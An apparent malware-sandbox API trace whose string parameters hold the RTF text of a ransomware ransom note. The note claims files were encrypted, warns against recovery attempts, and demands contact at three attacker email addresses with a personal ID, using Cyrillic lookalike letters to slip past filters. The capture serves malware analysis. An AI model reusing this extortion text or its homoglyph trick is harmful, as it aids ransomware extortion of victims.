d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1dae208, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 